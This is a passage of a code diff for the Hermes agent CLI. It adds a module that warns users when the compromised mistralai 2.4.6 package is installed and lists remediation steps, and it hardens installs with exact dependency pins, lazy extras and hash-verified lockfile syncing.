PyPI) and surfaces remediation guidance to +the user. + +Design goals: + +- **Cheap.** A single ``importlib.metadata.version()`` call per advisory + package. Safe to run on every CLI startup. +- **Loud when it matters, silent otherwise.** If no compromised package is + installed, the user sees nothing. +- **Acknowledgeable.** Once the user has read and acted on an advisory they + can dismiss it via ``hermes doctor --ack ``; the ack is persisted to + ``config.security.acked_advisories`` and survives restart. +- **Extensible.** Adding a new advisory is one entry in ``ADVISORIES``; + adding a new compromised version is a one-line edit. No code changes + needed when the next worm hits. + +The check is invoked from three places: + +1. ``hermes doctor`` (and ``hermes doctor --ack ``) +2. CLI startup banner (one short line, then full guidance via + ``hermes doctor``) +3. Gateway startup (logged to gateway.log; first interactive message gets + a one-line operator banner) + +This module is intentionally dependency-free beyond the stdlib so it can +run in environments where the rest of Hermes failed to import. +""" + +from __future__ import annotations + +import logging +import os +import sys +from dataclasses import dataclass, field +from pathlib import Path +from typing import Iterable, Optional + +logger = logging.getLogger(__name__) + + +# ============================================================================= +# Advisory catalog +# +# Each advisory is a community-facing security warning about one or more +# specific package versions that are known to be compromised. To add a new +# advisory: +# +# 1. Append a new ``Advisory`` to ``ADVISORIES`` below +# 2. Set ``compromised`` to a tuple of ``(pkg_name, frozenset_of_versions)`` +# — version strings must match what ``importlib.metadata.version()`` +# returns. Use an empty frozenset to flag *any installed version* +# (rare; only when the maintainer namespace itself is compromised). +# 3. Write 2-4 short ``remediation`` lines a non-expert can copy/paste. +# +# Do NOT remove old advisories. Once an advisory ships, leave it in place so +# users running an older release with the compromised package still get +# warned. Mark superseded ones via ``superseded_by`` if needed. +# ============================================================================= + + +@dataclass(frozen=True) +class Advisory: + """One security advisory entry. + + Attributes: + id: stable identifier used for acks (e.g. ``shai-hulud-2026-05``). + Lowercase-hyphen, never reused. + title: one-line headline shown in banners. + summary: 1-3 sentence description of what was compromised and how. + url: reference URL (Socket advisory, GitHub advisory, PyPI page). + compromised: tuple of ``(package_name, frozenset_of_versions)`` + pairs. Empty frozenset means "any version of this package is + considered suspect" — use sparingly. + remediation: ordered list of steps the user should take. First step + should be the uninstall command; subsequent steps the credential + audit / rotation guidance. + published: ISO date string for sort order. + """ + + id: str + title: str + summary: str + url: str + compromised: tuple[tuple[str, frozenset[str]], ...] + remediation: tuple[str, ...] + published: str = "" + severity: str = "high" # low / medium / high / critical + + +ADVISORIES: tuple[Advisory, ...] = ( + Advisory( + id="shai-hulud-2026-05", + title="Mini Shai-Hulud worm — mistralai 2.4.6 compromised on PyPI", + summary=( + "PyPI quarantined the mistralai package on 2026-05-12 after a " + "malicious 2.4.6 release. The worm steals credentials from " + "environment variables and credential files (~/.npmrc, ~/.pypirc, " + "~/.aws/credentials, GitHub PATs, cloud SDK tokens) and exfils " + "them to a hardcoded webhook. If you ran any Python process that " + "imported mistralai 2.4.6 — including hermes when configured " + "with provider=mistral for TTS or STT — assume those credentials " + "are exposed." + ), + url="https://socket.dev/blog/mini-shai-hulud-worm-pypi", + compromised=( + ("mistralai", frozenset({"2.4.6"})), + ), + remediation=( + "Run: pip uninstall -y mistralai (or: uv pip uninstall mistralai)", + "Rotate API keys in ~/.hermes/.env (OpenRouter, Anthropic, OpenAI, " + "Nous, GitHub, AWS, Google, Mistral, etc.).", + "Audit ~/.npmrc, ~/.pypirc, ~/.aws/credentials, ~/.config/gh/hosts.yml, " + "and any other credential files for tokens that may have been read.", + "Check GitHub for unexpected new SSH keys, deploy keys, or webhook " + "additions on repos you have admin on.", + "After cleanup: hermes doctor --ack shai-hulud-2026-05 to dismiss " + "this warning.", + ), + published="2026-05-12", + severity="critical", + ), +) + + +# ============================================================================= +# Detection +# ============================================================================= + + +@dataclass(frozen=True) +class AdvisoryHit: + """One package-version match against an advisory.""" + + advisory: Advisory + package: str + installed_version: str + + +def _installed_version(pkg_name: str) -> Optional[str]: + """Return the installed version of ``pkg_name``, or None if not installed. + + Uses ``importlib.metadata`` so we don't depend on pip being importable + inside the active venv (uv-created venvs may lack pip). + """ + try: + from importlib.metadata import PackageNotFoundError, version + except ImportError: # py<3.8 — Hermes requires 3.10+ but defensive. + return None + try: + return version(pkg_name) + except PackageNotFoundError: + return None + except Exception: + # Some metadata corruption modes raise ValueError or OSError. Don't + # let advisory checking crash the CLI startup path. + logger.debug("importlib.metadata.version(%s) raised", pkg_name, exc_info=True) + return None + + +def detect_compromised( + advisories: Iterable[Advisory] = ADVISORIES, +) -> list[AdvisoryHit]: + """Scan installed packages and return all advisory hits. + + A "hit" means an advisory's listed package is installed AND the version + is in the compromised set (or the compromised set is empty, meaning + *any* version is suspect). + """ + hits: list[AdvisoryHit] = [] + for advisory in advisories: + for pkg_name, bad_versions in advisory.compromised: + installed = _installed_version(pkg_name) + if installed is None: + continue + if not bad_versions or installed in bad_versions: + hits.append(AdvisoryHit( + advisory=advisory, + package=pkg_name, + installed_version=installed, + )) + return hits + + +# ============================================================================= +# Acknowledgement persistence +# +# Acks live under ``security.acked_advisories`` in config.yaml as a list of +# advisory IDs. The list is the only state — no per-host data, no +# timestamps, no fingerprints. Users sharing a config.yaml across machines +# (rare but possible) get the same dismissal everywhere, which is the +# correct behavior for a global advisory. +# ============================================================================= + + +def get_acked_ids() -> set[str]: + """Return the set of advisory IDs the user has dismissed. + + Returns an empty set if config can't be loaded (don't block startup + just because config is broken — the advisory will keep firing until + config is repaired, which is fine). + """ + try: + from hermes_cli.config import load_config + cfg = load_config() + except Exception: + logger.debug("Could not load config for advisory acks", exc_info=True) + return set() + sec = cfg.get("security") or {} + raw = sec.get("acked_advisories") or [] + if not isinstance(raw, list): + return set() + return {str(x).strip() for x in raw if str(x).strip()} + + +def ack_advisory(advisory_id: str) -> bool: + """Persist an ack for ``advisory_id``. Returns True on success. + + Idempotent — acking an already-acked ID is a no-op. + """ + advisory_id = advisory_id.strip() + if not advisory_id: + return False + try: + from hermes_cli.config import load_config, save_config + except Exception: + logger.warning("Could not import config module to persist ack") + return False + try: + cfg = load_config() + sec = cfg.setdefault("security", {}) + existing = sec.get("acked_advisories") or [] + if not isinstance(existing, list): + existing = [] + if advisory_id not in existing: + existing.append(advisory_id) + sec["acked_advisories"] = existing + save_config(cfg) + return True + except Exception: + logger.exception("Failed to persist advisory ack for %s", advisory_id) + return False + + +def filter_unacked(hits: list[AdvisoryHit]) -> list[AdvisoryHit]: + """Return only hits whose advisories the user has not dismissed.""" + if not hits: + return [] + acked = get_acked_ids() + return [h for h in hits if h.advisory.id not in acked] + + +# ============================================================================= +# Rendering helpers +# ============================================================================= + + +def _term_supports_color() -> bool: + if os.environ.get("NO_COLOR"): + return False + if not sys.stdout.isatty(): + return False + return True + + +def short_banner_lines(hits: list[AdvisoryHit]) -> list[str]: + """Return 1-3 short lines suitable for a startup banner. + + Caller is responsible for color/styling. Always names the worst hit + explicitly so the user knows what's wrong without running doctor. + """ + if not hits: + return [] + primary = hits[0] + lines = [ + f"SECURITY ADVISORY [{primary.advisory.id}]: {primary.advisory.title}", + f" Detected: {primary.package}=={primary.installed_version}", + " Run 'hermes doctor' for remediation steps.", + ] + if len(hits) > 1: + lines.insert(1, f" ({len(hits) - 1} additional advisor" + f"{'ies' if len(hits) > 2 else 'y'} also active.)") + return lines + + +def full_remediation_text(hit: AdvisoryHit) -> list[str]: + """Return a multi-line block describing the advisory + remediation.""" + a = hit.advisory + lines = [ + f"=== {a.title} ===", + f"ID: {a.id} Severity: {a.severity} Published: {a.published}", + f"Detected: {hit.package}=={hit.installed_version}", + f"Reference: {a.url}", + "", + a.summary, + "", + "Remediation:", + ] + for i, step in enumerate(a.remediation, 1): + lines.append(f" {i}. {step}") + return lines + + +# ============================================================================= +# Startup-banner gating +# +# We do NOT want to hammer the user with the banner on every command. Once +# they've seen it inside a 24h window we cache that fact in +# ``~/.hermes/cache/advisory_banner_seen`` (a single line per advisory ID: +# `` ``). +# +# Acked advisories never re-banner. Cached-but-not-acked advisories +# re-banner after 24h so the user doesn't fully forget. +# ============================================================================= + + +_BANNER_CACHE_FILE = "advisory_banner_seen" +_BANNER_REPEAT_HOURS = 24 + + +def _banner_cache_path() -> Optional[Path]: + try: + from hermes_constants import get_hermes_home + cache_dir = Path(get_hermes_home()) / "cache" + cache_dir.mkdir(parents=True, exist_ok=True) + return cache_dir / _BANNER_CACHE_FILE + except Exception: + return None + + +def _read_banner_cache() -> dict[str, float]: + p = _banner_cache_path() + if p is None or not p.exists(): + return {} + out: dict[str, float] = {} + try: + for line in p.read_text(encoding="utf-8").splitlines(): + line = line.strip() + if not line: + continue + parts = line.split(None, 1) + if len(parts) != 2: + continue + advisory_id, ts = parts + try: + out[advisory_id] = float(ts) + except ValueError: + continue + except Exception: + return {} + return out + + +def _write_banner_cache(seen: dict[str, float]) -> None: + p = _banner_cache_path() + if p is None: + return + try: + lines = [f"{aid} {ts}" for aid, ts in seen.items()] + p.write_text("\n".join(lines) + "\n", encoding="utf-8") + except Exception: + logger.debug("Could not write advisory banner cache", exc_info=True) + + +def hits_due_for_banner( + hits: list[AdvisoryHit], + *, + repeat_hours: int = _BANNER_REPEAT_HOURS, +) -> list[AdvisoryHit]: + """Return only hits whose banner is due (not acked, not recently shown). + + Side effect: stamps the banner cache for any hit that's about to be + shown. Callers should subsequently render the result. + """ + import time + + fresh = filter_unacked(hits) + if not fresh: + return [] + now = time.time() + cache = _read_banner_cache() + cutoff = now - (repeat_hours * 3600) + + due: list[AdvisoryHit] = [] + for hit in fresh: + last = cache.get(hit.advisory.id, 0.0) + if last < cutoff: + due.append(hit) + cache[hit.advisory.id] = now + if due: + _write_banner_cache(cache) + return due + + +# ============================================================================= +# Public entry points used by doctor / CLI / gateway +# ============================================================================= + + +def render_doctor_section(hits: list[AdvisoryHit]) -> tuple[bool, list[str]]: + """Render the security-advisory section for ``hermes doctor``. + + Returns ``(has_problems, lines)``. Caller is responsible for printing + with whatever color scheme it uses. + """ + fresh = filter_unacked(hits) + if not fresh: + return False, ["No active security advisories. ✓"] + + lines: list[str] = [] + for i, hit in enumerate(fresh): + if i: + lines.append("") + lines.extend(full_remediation_text(hit)) + return True, lines + + +def startup_banner(hits: list[AdvisoryHit]) -> Optional[str]: + """Return a printable startup banner, or None if nothing is due. + + Updates the banner cache as a side effect (so the next call within + 24h returns None for the same hit). + """ + due = hits_due_for_banner(hits) + if not due: + return None + lines = short_banner_lines(due) + if _term_supports_color(): + red = "\x1b[1;31m" + reset = "\x1b[0m" + return red + "\n".join(lines) + reset + return "\n".join(lines) + + +def gateway_log_message(hits: list[AdvisoryHit]) -> Optional[str]: + """Return a one-line log message for gateway operators, or None.""" + fresh = filter_unacked(hits) + if not fresh: + return None + if len(fresh) == 1: + h = fresh[0] + return (f"Security advisory [{h.advisory.id}] active: " + f"{h.package}=={h.installed_version} matches {h.advisory.title}. " + f"See {h.advisory.url}") + return (f"{len(fresh)} security advisories active " + f"(IDs: {', '.join(h.advisory.id for h in fresh)}). " + f"Run `hermes doctor` on the gateway host for details.") diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index 2a70ee26398..f1d14ebf48b 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -56,10 +56,22 @@ try: from fastapi.staticfiles import StaticFiles from pydantic import BaseModel except ImportError: - raise SystemExit( - "Web UI requires fastapi and uvicorn.\n" - f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'" - ) + # First try lazy-installing the dashboard extras. Only the user actually + # running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps + # them out of every other install path. After install, re-import. + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("tool.dashboard", prompt=False) + from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect + from fastapi.middleware.cors import CORSMiddleware + from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response + from fastapi.staticfiles import StaticFiles + from pydantic import BaseModel + except Exception: + raise SystemExit( + "Web UI requires fastapi and uvicorn.\n" + f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'" + ) WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist" _log = logging.getLogger(__name__) diff --git a/plugins/memory/hindsight/__init__.py b/plugins/memory/hindsight/__init__.py index 20772844f16..3a42a320453 100644 --- a/plugins/memory/hindsight/__init__.py +++ b/plugins/memory/hindsight/__init__.py @@ -875,6 +875,13 @@ class HindsightMemoryProvider(MemoryProvider): "Hindsight local runtime is unavailable" + (f": {reason}" if reason else "") ) + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("memory.hindsight", prompt=False) + except ImportError: + pass + except Exception as _e: + raise ImportError(str(_e)) from hindsight import HindsightEmbedded HindsightEmbedded.__del__ = lambda self: None llm_provider = self._config.get("llm_provider", "") diff --git a/plugins/memory/honcho/client.py b/plugins/memory/honcho/client.py index 7210c6071e8..612bcd239ce 100644 --- a/plugins/memory/honcho/client.py +++ b/plugins/memory/honcho/client.py @@ -687,12 +687,28 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho: "For local instances, set HONCHO_BASE_URL instead." ) + # Lazy-install the honcho SDK on demand. ensure() honors + # security.allow_lazy_installs (default true). On failure we surface + # the original ImportError-shape message so existing callers still get + # the "go run hermes honcho setup" hint they used to. + try: + from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure + _lazy_ensure("memory.honcho", prompt=False) + except ImportError: + # lazy_deps module missing — fall through to the raw import below. + pass + except Exception: + # FeatureUnavailable or unexpected error. Don't crash here; let the + # actual import attempt produce the canonical error message. + pass + try: from honcho import Honcho except ImportError: raise ImportError( "honcho-ai is required for Honcho integration. " - "Install it with: pip install honcho-ai" + "Install it with: pip install honcho-ai " + "(or run `hermes honcho setup` to configure)." ) # Allow config.yaml honcho.base_url to override the SDK's environment diff --git a/pyproject.toml b/pyproject.toml index 5d164b6535f..b01a2466d64 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -11,84 +11,124 @@ requires-python = ">=3.11" authors = [{ name = "Nous Research" }] license = { text = "MIT" } dependencies = [ - # Core — pinned to known-good ranges to limit supply chain attack surface - "openai>=2.21.0,<3", - "anthropic>=0.39.0,<1", - "python-dotenv>=1.2.1,<2", - "fire>=0.7.1,<1", - "httpx[socks]>=0.28.1,<1", - "rich>=14.3.3,<15", - "tenacity>=9.1.4,<10", - "pyyaml>=6.0.2,<7", - "ruamel.yaml>=0.18.16,<0.19", - "requests>=2.33.0,<3", # CVE-2026-25645 - "jinja2>=3.1.5,<4", - "pydantic>=2.12.5,<3", + # Core — every direct dep is exact-pinned to ==X.Y.Z (no ranges). + # Rationale: ranges allow PyPI to ship a fresh version of a transitive + # at any time without a code review on our side. Exact pins mean the + # only way a new package version reaches a user is via an intentional + # update on our end (bump the pin in this file, regenerate uv.lock). + # This was tightened on 2026-05-12 in response to the Mini Shai-Hulud + # worm hitting mistralai 2.4.6 on PyPI; if that release had been + # captured by `mistralai>=2.3.0,<3` rather than an exact pin, every + # install in the hours before the quarantine would have pulled it. + # See website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md. + # + # When updating: bump the version below AND regenerate uv.lock with + # `uv lock` so the transitive resolution stays consistent. Don't + # introduce ranges back without a written justification. + # + # Scope rule: only packages used by EVERY hermes session belong here. + # Anything that's provider-specific (`anthropic`, `firecrawl-py`, + # `exa-py`, `fal-client`, `edge-tts`, `parallel-web`) belongs in an + # extra and gets lazy-installed via `tools/lazy_deps.py` when the + # user picks that backend. Smaller `dependencies` = smaller blast + # radius for the next supply-chain attack. + "openai==2.24.0", + "python-dotenv==1.2.1", + "fire==0.7.1", + "httpx[socks]==0.28.1", + "rich==14.3.3", + "tenacity==9.1.4", + "pyyaml==6.0.3", + "ruamel.yaml==0.18.17", + "requests==2.33.0", # CVE-2026-25645 + "jinja2==3.1.6", + "pydantic==2.12.5", # Interactive CLI (prompt_toolkit is used directly by cli.py) - "prompt_toolkit>=3.0.52,<4", - # Tools - "exa-py>=2.9.0,<3", - "firecrawl-py>=4.16.0,<5", - "parallel-web>=0.4.2,<1", - "fal-client>=0.13.1,<1", + "prompt_toolkit==3.0.52", # Cron scheduler (built-in feature — scheduled cron/interval jobs use croniter). - "croniter>=6.0.0,<7", - # Text-to-speech (Edge TTS is free, no API key needed) - "edge-tts>=7.2.7,<8", + "croniter==6.0.0", # Skills Hub (GitHub App JWT auth — optional, only needed for bot identity) - "PyJWT[crypto]>=2.12.0,<3", # CVE-2026-32597 + "PyJWT[crypto]==2.12.1", # CVE-2026-32597 # Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo`` # (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone # out of the box. ``tzdata`` ships the Olson database as a data package # Python resolves automatically. No-op on Linux/macOS (which have # /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24). - "tzdata>=2023.3; sys_platform == 'win32'", + "tzdata==2025.3; sys_platform == 'win32'", # Cross-platform process / PID management. `psutil` is the canonical # answer for "is this PID alive" and process-tree walking across Linux, # macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)` # (which is a silent killer on Windows — see CONTRIBUTING.md) and # `os.killpg` (which doesn't exist on Windows). - "psutil>=5.9.0,<8", + "psutil==7.2.2", ] [project.optional-dependencies] -modal = ["modal>=1.0.0,<2"] -daytona = ["daytona>=0.148.0,<1"] -vercel = ["vercel>=0.5.7,<0.6.0"] -hindsight = ["hindsight-client>=0.4.22"] -dev = ["debugpy>=1.8.0,<2", "pytest>=9.0.2,<10", "pytest-asyncio>=1.3.0,<2", "pytest-xdist>=3.0,<4", "pytest-split>=0.9,<1", "mcp>=1.2.0,<2", "ty>=0.0.1a29,<0.0.22", "ruff"] -messaging = ["python-telegram-bot[webhooks]>=22.6,<23", "discord.py[voice]>=2.7.1,<3", "aiohttp>=3.13.3,<4", "slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4", "qrcode>=7.0,<8"] +# Native Anthropic provider — only needed when provider=anthropic (not via +# OpenRouter or other aggregators). +anthropic = ["anthropic==0.86.0"] +# Web search backends — each only loaded when the user picks it as their +# search provider (configured via `hermes tools` or config.yaml). +exa = ["exa-py==2.10.2"] +firecrawl = ["firecrawl-py==4.17.0"] +parallel-web = ["parallel-web==0.4.2"] +# Image generation backends +fal = ["fal-client==0.13.1"] +# Edge TTS — default TTS provider but still optional (users can pick +# ElevenLabs / OpenAI / MiniMax instead). +edge-tts = ["edge-tts==7.2.7"] +modal = ["modal==1.3.4"] +daytona = ["daytona==0.155.0"] +vercel = ["vercel==0.5.7"] +hindsight = ["hindsight-client==0.6.1"] +dev = ["debugpy==1.8.20", "pytest==9.0.2", "pytest-asyncio==1.3.0", "pytest-xdist==3.8.0", "pytest-split==0.11.0", "mcp==1.26.0", "ty==0.0.21", "ruff==0.15.10"] +messaging = ["python-telegram-bot[webhooks]==22.6", "discord.py[voice]==2.7.1", "aiohttp==3.13.3", "slack-bolt==1.27.0", "slack-sdk==3.40.1", "qrcode==7.4.2"] cron = [] # croniter is now a core dependency; this extra kept for back-compat -slack = ["slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4"] -matrix = ["mautrix[encryption]>=0.20,<1", "Markdown>=3.6,<4", "aiosqlite>=0.20", "asyncpg>=0.29", "aiohttp-socks>=0.10,<1"] -cli = ["simple-term-menu>=1.0,<2"] -tts-premium = ["elevenlabs>=1.0,<2"] +slack = ["slack-bolt==1.27.0", "slack-sdk==3.40.1"] +matrix = ["mautrix[encryption]==0.21.0", "Markdown==3.10.2", "aiosqlite==0.22.1", "asyncpg==0.31.0", "aiohttp-socks==0.11.0"] +cli = ["simple-term-menu==1.6.6"] +tts-premium = ["elevenlabs==1.59.0"] voice = [ # Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime), # so keep it out of the base install for source-build packagers like Homebrew. - "faster-whisper>=1.0.0,<2", - "sounddevice>=0.4.6,<1", - "numpy>=1.24.0,<3", + "faster-whisper==1.2.1", + "sounddevice==0.5.5", + "numpy==2.4.3", ] pty = [ - "ptyprocess>=0.7.0,<1; sys_platform != 'win32'", - "pywinpty>=2.0.0,<3; sys_platform == 'win32'", + "ptyprocess==0.7.0; sys_platform != 'win32'", + "pywinpty==2.0.15; sys_platform == 'win32'", ] -honcho = ["honcho-ai>=2.0.1,<3"] -mcp = ["mcp>=1.2.0,<2"] -homeassistant = ["aiohttp>=3.9.0,<4"] -sms = ["aiohttp>=3.9.0,<4"] +honcho = ["honcho-ai==2.0.1"] +mcp = ["mcp==1.26.0"] +homeassistant = ["aiohttp==3.13.3"] +sms = ["aiohttp==3.13.3"] # Computer use — macOS background desktop control via cua-driver (MCP stdio). # The cua-driver binary itself is installed via `hermes tools` post-setup # (curl install script); this extra just pins the MCP client used to talk # to it, which is already provided by the `mcp` extra. -computer-use = ["mcp>=1.2.0,<2"] -acp = ["agent-client-protocol>=0.9.0,<1.0"] -mistral = ["mistralai>=2.3.0,<3"] -bedrock = ["boto3>=1.35.0,<2"] +computer-use = ["mcp==1.26.0"] +acp = ["agent-client-protocol==0.9.0"] +# mistral: extra REMOVED 2026-05-12 — `mistralai` PyPI project quarantined +# after malicious 2.4.6 release (Mini Shai-Hulud worm). Every version of +# `mistralai` returns 404 on PyPI right now, so any pin we'd write is +# unresolvable, which breaks `uv lock --check` in CI. +# +# To restore once PyPI un-quarantines: +# 1. Verify the new release is clean (read the changelog, check Socket +# advisory page, confirm no malicious code review findings). +# 2. Add back: mistral = ["mistralai=="] +# 3. Re-enable Mistral in: +# - tools/lazy_deps.py (LAZY_DEPS["tts.mistral"], LAZY_DEPS["stt.mistral"]) +# - hermes_cli/tools_config.py (un-hide from provider picker) +# - hermes_cli/web_server.py (re-add to dashboard STT options) +# - tools/transcription_tools.py / tools/tts_tool.py (drop disabled stubs) +# 4. Run `uv lock` to regenerate transitives. +# 5. Optionally re-add to [all] only after a few days of clean operation. +bedrock = ["boto3==1.42.89"] termux = [ # Baseline Android / Termux path for reliable fresh installs. - "python-telegram-bot[webhooks]>=22.6,<23", + "python-telegram-bot[webhooks]==22.6", "hermes-agent[cron]", "hermes-agent[cli]", "hermes-agent[pty]", @@ -120,35 +160,41 @@ termux-all = [ "hermes-agent[sms]", "hermes-agent[web]", ] -dingtalk = ["dingtalk-stream>=0.20,<1", "alibabacloud-dingtalk>=2.0.0", "qrcode>=7.0,<8"] -feishu = ["lark-oapi>=1.5.3,<2", "qrcode>=7.0,<8"] +dingtalk = ["dingtalk-stream==0.24.3", "alibabacloud-dingtalk==2.2.42", "qrcode==7.4.2"] +feishu = ["lark-oapi==1.5.3", "qrcode==7.4.2"] google = [ # Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts, # Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with # the [all] extra and users don't hit runtime `pip install` paths that fail # in environments without pip (e.g. Nix-managed Python). - "google-api-python-client>=2.100,<3", - "google-auth-oauthlib>=1.0,<2", - "google-auth-httplib2>=0.2,<1", + "google-api-python-client==2.194.0", + "google-auth-oauthlib==1.3.1", + "google-auth-httplib2==0.3.1", ] youtube = [ # Required by skills/media/youtube-content and # optional-skills/productivity/memento-flashcards (youtube_quiz.py). # Without this declaration uv sync omits the package and both skills fail # at first invocation with ModuleNotFoundError (issue #22243). - "youtube-transcript-api>=1.2.0", + "youtube-transcript-api==1.2.4", ] # `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean. -web = ["fastapi>=0.104.0,<1", "uvicorn[standard]>=0.24.0,<1"] +web = ["fastapi==0.133.1", "uvicorn[standard]==0.41.0"] rl = [ "atroposlib @ git+https://github.com/NousResearch/atropos.git@c20c85256e5a45ad31edf8b7276e9c5ee1995a30", "tinker @ git+https://github.com/thinking-machines-lab/tinker.git@30517b667f18a3dfb7ef33fb56cf686d5820ba2b", - "fastapi>=0.104.0,<1", - "uvicorn[standard]>=0.24.0,<1", - "wandb>=0.15.0,<1", + "fastapi==0.133.1", + "uvicorn[standard]==0.41.0", + "wandb==0.25.1", ] yc-bench = ["yc-bench @ git+https://github.com/collinear-ai/yc-bench.git@bfb0c88062450f46341bd9a5298903fc2e952a5c ; python_version >= '3.12'"] all = [ + "hermes-agent[anthropic]", + "hermes-agent[exa]", + "hermes-agent[firecrawl]", + "hermes-agent[parallel-web]", + "hermes-agent[fal]", + "hermes-agent[edge-tts]", "hermes-agent[modal]", "hermes-agent[daytona]", "hermes-agent[vercel]", diff --git a/scripts/install.ps1 b/scripts/install.ps1 index ed0f802a1c9..56a338ea069 100644 --- a/scripts/install.ps1 +++ b/scripts/install.ps1 @@ -793,30 +793,87 @@ function Install-Dependencies { # Tell uv to install into our venv (no activation needed) $env:VIRTUAL_ENV = "$InstallDir\venv" } - + + # Hash-verified install (Tier 0) — when uv.lock is present, prefer + # `uv sync --locked`. The lockfile records SHA256 hashes for every + # transitive dependency, so a compromised transitive (different hash + # than what we shipped) is REJECTED by the resolver. This is the + # *only* path that protects against the "direct dep is fine, but the + # dep's dep got worm-poisoned overnight" failure mode. The + # `uv pip install` tiers below re-resolve transitives fresh from PyPI + # without any hash verification — they exist to keep installs working + # when the lockfile is stale, missing, or out-of-sync with the + # current extras spec, NOT because they're equivalent in posture. + if (Test-Path "uv.lock") { + Write-Info "Trying tier: hash-verified (uv.lock) ..." + & $UvCmd sync --all-extras --locked + if ($LASTEXITCODE -eq 0) { + Write-Success "Main package installed (hash-verified via uv.lock)" + $script:InstalledTier = "hash-verified (uv.lock)" + # Skip the rest of the tiered cascade — we already have a + # complete, hash-verified install. + $skipPipFallback = $true + } else { + Write-Warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..." + $skipPipFallback = $false + } + } else { + Write-Info "uv.lock not found — falling back to PyPI resolve (no hash verification)" + $skipPipFallback = $false + } + # Install main package. Tiered fallback so a single flaky git+https dep # (atroposlib / tinker in the [rl] extra) doesn't silently drop # dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is # preserved — no Out-Null swallowing — so the user can see what failed. # # Tier 1: [all] — everything, including RL git+https deps (best case). - # Tier 2: [core-extras] synthesised locally — all PyPI-only extras we - # ship (web, mcp, cron, cli, voice, messaging, slack, dev, acp, - # pty, homeassistant, sms, tts-premium, honcho, google, mistral, - # bedrock, dingtalk, feishu, modal, daytona, vercel). Drops [rl] - # and [matrix] (linux-only) which are the usual failure culprits. - # Tier 3: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly + # Tier 2: [all] minus a small list of currently-broken extras. The + # broken list is centralised in $brokenExtras below — when + # a package gets quarantined / yanked / pulled, add it here + # and the resolver no longer chokes on it. This is what saves + # the user from silently losing 10+ unrelated extras every + # time one upstream package breaks. + # Tier 3: [core-extras] synthesised locally — all PyPI-only extras we + # ship, also minus $brokenExtras. Drops [rl] and [matrix] + # (linux-only) which are the usual failure culprits. + # Tier 4: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly # believe a user expects `hermes dashboard` / slash commands / # cron / messaging platforms to work out of the box. - # Tier 4: bare `.` — last-resort so at least the core CLI launches. + # Tier 5: bare `.` — last-resort so at least the core CLI launches. + + # Currently-broken extras. Edit this list when an upstream package + # gets quarantined / yanked / breaks resolution. Empty means everything + # in [all] should be installable; populate with the names of extras + # whose deps are temporarily unavailable to keep installs working + # for users. + $brokenExtras = @() + + $allExtras = @( + "modal","daytona","vercel","messaging","matrix","cron","cli","dev", + "tts-premium","slack","pty","honcho","mcp","homeassistant","sms", + "acp","voice","dingtalk","feishu","google","bedrock","web", + "youtube" + ) + $pypiExtras = @( + "web","mcp","cron","cli","voice","messaging","slack","dev","acp", + "pty","homeassistant","sms","tts-premium","honcho","google", + "bedrock","dingtalk","feishu","modal","daytona","vercel","youtube" + ) + $safeAll = ($allExtras | Where-Object { $brokenExtras -notcontains $_ }) -join "," + $safePypi = ($pypiExtras | Where-Object { $brokenExtras -notcontains $_ }) -join "," + $brokenLabel = if ($brokenExtras) { ($brokenExtras -join ", ") } else { "none" } + $installTiers = @( @{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" }, - @{ Name = "PyPI-only extras (no git deps)"; Spec = ".[web,mcp,cron,cli,voice,messaging,slack,dev,acp,pty,homeassistant,sms,tts-premium,honcho,google,mistral,bedrock,dingtalk,feishu,modal,daytona,vercel]" }, + @{ Name = "all minus known-broken ($brokenLabel)"; Spec = ".[$safeAll]" }, + @{ Name = "PyPI-only extras (no git deps)"; Spec = ".[$safePypi]" }, @{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" }, @{ Name = "core only (no extras)"; Spec = "." } ) - $installed = $false - foreach ($tier in $installTiers) { + $installed = $skipPipFallback + if (-not $skipPipFallback) { + foreach ($tier in $installTiers) { Write-Info "Trying tier: $($tier.Name) ..." & $UvCmd pip install -e $tier.Spec if ($LASTEXITCODE -eq 0) { @@ -826,6 +883,7 @@ function Install-Dependencies { break } Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..." + } } if (-not $installed) { throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above." diff --git a/scripts/install.sh b/scripts/install.sh index bc391eee43c..f4fccea7d9e 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -1060,20 +1060,124 @@ install_deps() { fi # Install the main package in editable mode with all extras. - # Try [all] first, fall back to base install if extras have issues. - ALL_INSTALL_LOG=$(mktemp) - if ! $UV_CMD pip install -e ".[all]" 2>"$ALL_INSTALL_LOG"; then - log_warn "Full install (.[all]) failed, trying base install..." - log_info "Reason: $(tail -5 "$ALL_INSTALL_LOG" | head -3)" - rm -f "$ALL_INSTALL_LOG" - if ! $UV_CMD pip install -e "."; then - log_error "Package installation failed." - log_info 